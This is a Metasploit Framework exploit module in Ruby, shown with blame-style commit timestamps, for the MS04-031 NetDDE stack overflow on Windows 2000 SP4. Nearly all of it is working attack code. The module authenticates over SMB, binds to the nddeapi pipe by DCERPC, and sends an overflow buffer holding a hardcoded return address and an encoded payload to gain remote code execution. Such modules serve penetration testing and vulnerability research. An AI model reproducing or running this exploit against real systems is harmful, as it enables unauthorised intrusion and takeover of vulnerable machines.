2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-08 13:46:33 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-12-18 07:50:48 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::SMB
|
2006-12-04 14:07:31 +00:00
|
|
|
|
2005-12-18 07:50:48 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2006-09-13 06:49:39 +00:00
|
|
|
'Name' => 'Microsoft NetDDE Service Overflow',
|
2005-12-18 07:50:48 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in the NetDDE service, which is the
|
2006-04-30 19:49:27 +00:00
|
|
|
precursor to the DCOM interface. This exploit effects only operating systems
|
|
|
|
released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim
|
|
|
|
that this vulnerability can be exploited without authentication, the NDDEAPI
|
|
|
|
pipe is only accessible after successful authentication.
|
2005-12-18 07:50:48 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'pusscat' ],
|
2006-05-06 16:34:39 +00:00
|
|
|
'License' => BSD_LICENSE,
|
2005-12-18 07:50:48 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'BID', '11372'],
|
2005-12-18 07:50:48 +00:00
|
|
|
[ 'OSVDB', '10689'],
|
|
|
|
[ 'CVE', '2004-0206'],
|
|
|
|
[ 'MSB', 'MS04-031'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
2006-01-27 05:00:35 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread'
|
|
|
|
},
|
2005-12-18 07:50:48 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
2006-01-27 05:00:35 +00:00
|
|
|
'Space' => (0x600 - (133*4) - 4),
|
|
|
|
'BadChars' => "\\/.:$\x00", # \ / . : $ NULL
|
|
|
|
'Prepend' => 'A' * 8,
|
2005-12-18 07:50:48 +00:00
|
|
|
},
|
2006-02-21 14:27:28 +00:00
|
|
|
'Platform' => 'win',
|
2005-12-18 07:50:48 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
2006-04-30 19:49:27 +00:00
|
|
|
[ 'Windows 2000 SP4', { 'Ret' => 0x77e56f43 } ], # push esp, ret :)
|
2005-12-18 07:50:48 +00:00
|
|
|
],
|
|
|
|
'DefaultTarget' => 0))
|
2006-01-27 05:00:35 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2006-04-30 19:49:27 +00:00
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (nddeapi)", 'nddeapi']),
|
2006-01-27 05:00:35 +00:00
|
|
|
], self.class)
|
2005-12-18 07:50:48 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2006-04-30 19:49:27 +00:00
|
|
|
connect()
|
|
|
|
smb_login()
|
2006-01-27 05:00:35 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
|
|
|
handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
|
2006-04-30 19:49:27 +00:00
|
|
|
print_status("Binding to #{handle}")
|
2006-01-27 05:00:35 +00:00
|
|
|
dcerpc_bind(handle)
|
2006-04-30 19:49:27 +00:00
|
|
|
print_status("Bound to #{handle}")
|
2006-01-27 05:00:35 +00:00
|
|
|
|
|
|
|
retOverWrite =
|
2006-04-30 19:49:27 +00:00
|
|
|
'AA' + (NDR.long(target.ret) * 133) + payload.encoded
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
overflowChunk =
|
|
|
|
retOverWrite +
|
|
|
|
NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.
|
|
|
|
NDR.long(0x0)
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
stubdata =
|
|
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +
|
|
|
|
NDR.long(rand(0xFFFFFFFF))
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2006-04-30 19:49:27 +00:00
|
|
|
print_status('Calling the vulnerable function...')
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
begin
|
|
|
|
response = dcerpc.call(0xc, stubdata)
|
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
|
|
end
|
2005-12-18 07:50:48 +00:00
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
2005-12-18 07:50:48 +00:00
|
|
|
end
|
|
|
|
|
2008-10-19 21:03:39 +00:00
|
|
|
end
|